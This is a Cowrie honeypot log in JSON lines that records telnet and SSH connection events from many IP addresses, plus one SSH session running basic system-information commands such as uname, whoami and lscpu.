{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:32.817073Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a170895162","protocol":"telnet","message":"New connection: 144.126.156.251:53872 (10.17.0.5:23) [session: a1a170895162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.065066Z"}
{"eventid":"cowrie.session.closed","duration":30.24823546409607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.119581Z","src_ip":"114.142.160.98","session":"e50c408e7ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894781827926636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.124724Z","src_ip":"216.55.143.160","session":"5e60cf4ff426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":51124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b94bb1ab37bb","protocol":"telnet","message":"New connection: 162.252.82.70:51124 (10.17.0.5:23) [session: b94bb1ab37bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.174468Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca97ad6ae746","protocol":"telnet","message":"New connection: 74.115.209.253:41632 (10.17.0.5:23) [session: ca97ad6ae746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.189532Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.348699Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.352950Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":48732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be6a1f3bc8f","protocol":"telnet","message":"New connection: 216.55.143.160:48732 (10.17.0.5:23) [session: 5be6a1f3bc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.363888Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb208b06d8a","protocol":"telnet","message":"New connection: 146.71.83.154:44644 (10.17.0.5:23) [session: 0cb208b06d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.556872Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.595901Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.20.17","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15d089d4cd4","protocol":"telnet","message":"New connection: 139.59.20.17:56070 (10.17.0.5:23) [session: a15d089d4cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:33.607368Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.107997Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.111313Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.487102031707764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.162908Z","src_ip":"144.79.133.145","session":"f7f2b6895d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":36722,"dst_ip":"10.17.0.5","dst_port":23,"session":"210957704952","protocol":"telnet","message":"New connection: 66.223.49.88:36722 (10.17.0.5:23) [session: 210957704952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.167325Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.351049Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":35910,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa58d6a325e","protocol":"telnet","message":"New connection: 159.65.156.231:35910 (10.17.0.5:23) [session: 8fa58d6a325e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.550061Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":38658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece052c091f9","protocol":"telnet","message":"New connection: 114.142.160.98:38658 (10.17.0.5:23) [session: ece052c091f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.591723Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.875455Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:34.878989Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.876481294631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.080177Z","src_ip":"104.152.108.209","session":"5f29e2090079","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.120927Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.00434637069702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.130663Z","src_ip":"144.126.156.251","session":"6aaacbd351e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"01638c323183","protocol":"telnet","message":"New connection: 146.71.83.154:44656 (10.17.0.5:23) [session: 01638c323183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.299325Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":48306,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8f5555f237","protocol":"telnet","message":"New connection: 161.35.204.143:48306 (10.17.0.5:23) [session: 7e8f5555f237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.552692Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.646507Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.650197Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:35.893271Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53243398666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.063335Z","src_ip":"64.150.184.17","session":"047aecd71228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832359075546265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.123664Z","src_ip":"146.71.83.154","session":"0cb77627c359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421309232711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.164102Z","src_ip":"41.76.108.14","session":"c04ea6a113d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":38668,"dst_ip":"10.17.0.5","dst_port":23,"session":"655eed625e3b","protocol":"telnet","message":"New connection: 114.142.160.98:38668 (10.17.0.5:23) [session: 655eed625e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.199494Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.427258Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.431413Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:36.674981Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":43410,"dst_ip":"10.17.0.5","dst_port":23,"session":"be97652dee65","protocol":"telnet","message":"New connection: 51.222.46.37:43410 (10.17.0.5:23) [session: be97652dee65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.127360Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":36734,"dst_ip":"10.17.0.5","dst_port":23,"session":"027220f0efa6","protocol":"telnet","message":"New connection: 66.223.49.88:36734 (10.17.0.5:23) [session: 027220f0efa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.143273Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.203066Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.206961Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":55259,"dst_ip":"10.17.0.5","dst_port":23,"session":"beca4cd6b20c","protocol":"telnet","message":"New connection: 104.152.108.209:55259 (10.17.0.5:23) [session: beca4cd6b20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.224223Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":45712,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f24bf5c913","protocol":"telnet","message":"New connection: 46.21.104.13:45712 (10.17.0.5:23) [session: f9f24bf5c913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.275646Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.449891Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.454664Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":36502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5d13fa5479d","protocol":"telnet","message":"New connection: 159.65.156.231:36502 (10.17.0.5:23) [session: b5d13fa5479d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.596993Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.116.235.126","src_port":57304,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8bbefc076a","protocol":"telnet","message":"New connection: 66.116.235.126:57304 (10.17.0.5:23) [session: 0d8bbefc076a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.621512Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":53160,"dst_ip":"10.17.0.5","dst_port":23,"session":"5853f6978743","protocol":"telnet","message":"New connection: 158.69.128.56:53160 (10.17.0.5:23) [session: 5853f6978743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:37.792870Z"}
{"eventid":"cowrie.session.closed","duration":30.878459453582764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:38.062047Z","src_ip":"146.71.83.154","session":"98612803c666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59224,"dst_ip":"10.17.0.5","dst_port":23,"session":"9407afa1f55c","protocol":"telnet","message":"New connection: 146.71.83.154:59224 (10.17.0.5:23) [session: 9407afa1f55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:38.260778Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":55319,"dst_ip":"10.17.0.5","dst_port":23,"session":"403d2eb8755c","protocol":"telnet","message":"New connection: 104.152.108.209:55319 (10.17.0.5:23) [session: 403d2eb8755c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:38.307640Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":55343,"dst_ip":"10.17.0.5","dst_port":23,"session":"7233aa185265","protocol":"telnet","message":"New connection: 104.152.108.209:55343 (10.17.0.5:23) [session: 7233aa185265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:38.735129Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":65141,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db1ff5efd8d","protocol":"telnet","message":"New connection: 199.250.223.224:65141 (10.17.0.5:23) [session: 3db1ff5efd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:39.068616Z"}
{"eventid":"cowrie.session.closed","duration":31.142701864242554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:39.165596Z","src_ip":"35.246.154.4","session":"41398d0ddfe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":55483,"dst_ip":"10.17.0.5","dst_port":23,"session":"24885f44020f","protocol":"telnet","message":"New connection: 104.152.108.209:55483 (10.17.0.5:23) [session: 24885f44020f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:39.229123Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.246.154.4","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e5e041fc1f","protocol":"telnet","message":"New connection: 35.246.154.4:41028 (10.17.0.5:23) [session: 29e5e041fc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:40.241283Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":24705,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c5b451547a","protocol":"telnet","message":"New connection: 199.250.223.224:24705 (10.17.0.5:23) [session: 97c5b451547a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:41.029196Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f64ba8ac57","protocol":"telnet","message":"New connection: 15.204.172.25:35590 (10.17.0.5:23) [session: 18f64ba8ac57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:41.077735Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb285e1bdd29","protocol":"telnet","message":"New connection: 185.29.9.236:47122 (10.17.0.5:23) [session: cb285e1bdd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:41.302711Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":37206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e50edf9974","protocol":"telnet","message":"New connection: 159.65.156.231:37206 (10.17.0.5:23) [session: c3e50edf9974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:41.603353Z"}
{"eventid":"cowrie.session.closed","duration":30.890499591827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.037913Z","src_ip":"173.244.210.29","session":"27619bf1f067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94357681274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.051711Z","src_ip":"69.175.86.26","session":"3072eaa3daae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824950456619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.060596Z","src_ip":"146.71.83.154","session":"d21902920bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6ca3e77b48","protocol":"telnet","message":"New connection: 185.29.9.236:47274 (10.17.0.5:23) [session: 6d6ca3e77b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.279239Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":24943,"dst_ip":"10.17.0.5","dst_port":23,"session":"1526850cbb1c","protocol":"telnet","message":"New connection: 199.250.223.224:24943 (10.17.0.5:23) [session: 1526850cbb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.607238Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59228,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0d089e71b5","protocol":"telnet","message":"New connection: 146.71.83.154:59228 (10.17.0.5:23) [session: 4f0d089e71b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:42.775011Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":55278,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc315c7f83f","protocol":"telnet","message":"New connection: 144.126.156.251:55278 (10.17.0.5:23) [session: 3dc315c7f83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.023072Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":37366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a754ae16bc9a","protocol":"telnet","message":"New connection: 66.223.49.88:37366 (10.17.0.5:23) [session: a754ae16bc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.100872Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":25057,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51c0d9ace48","protocol":"telnet","message":"New connection: 199.250.223.224:25057 (10.17.0.5:23) [session: b51c0d9ace48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.164745Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":25059,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a15741e964","protocol":"telnet","message":"New connection: 199.250.223.224:25059 (10.17.0.5:23) [session: 93a15741e964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.168113Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59236,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0cb5a50889","protocol":"telnet","message":"New connection: 146.71.83.154:59236 (10.17.0.5:23) [session: 6c0cb5a50889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.244190Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":46602,"dst_ip":"10.17.0.5","dst_port":23,"session":"232f26c8aa72","protocol":"telnet","message":"New connection: 46.21.104.13:46602 (10.17.0.5:23) [session: 232f26c8aa72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:43.392188Z"}
{"eventid":"cowrie.session.closed","duration":30.103267431259155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.033901Z","src_ip":"64.150.184.17","session":"7127beeeb4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880570650100708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.152316Z","src_ip":"41.76.108.14","session":"41930f6453da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":59244,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f3179fcbb2","protocol":"telnet","message":"New connection: 146.71.83.154:59244 (10.17.0.5:23) [session: 31f3179fcbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.184233Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e7db24e5a8","protocol":"telnet","message":"New connection: 161.35.204.143:49806 (10.17.0.5:23) [session: f4e7db24e5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:44.200186Z"}
